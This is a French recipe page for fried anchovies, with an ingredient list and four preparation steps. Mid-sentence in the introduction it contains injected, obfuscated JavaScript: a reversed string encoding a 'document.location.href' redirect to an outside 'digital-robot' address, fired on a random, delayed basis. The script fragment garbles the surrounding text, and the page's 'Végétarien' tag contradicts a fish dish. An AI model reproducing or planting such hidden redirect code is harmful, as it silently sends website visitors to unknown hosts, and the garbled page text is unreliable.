Anchois frits
2017-12-31- Cuisine : Poissons
- Thématique : Végétarien
- Niveau : Facile
Dans un récipient avec du lait, faites trempez les anchois pendant 30 minutes. Égouttez les dans un tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torchon.
Ingrédients
- Pour 4 personnes
- 600 g d’anchois
- 0,5 dl de lait
- 1 bouquet de persil plat
- 250 g de farine
- 3 citrons
- Sel
Préparation de la recette
Etape 1
Dans un récipient avec du lait, faites tremper les anchois pendant 30 minutes. Égouttez les dans un torchon.
Etape 2
Versez de la farine dans une assiette creuse. Enroulez les anchois.
Etape 3
Puis les plonger dans la friture chaude jusqu'à ce que les anchois soient bien dorées.
Etape 4
Égouttez-les. Dressez en pyramide sur une serviette accompagné de quartiers de citron et de persil haché.
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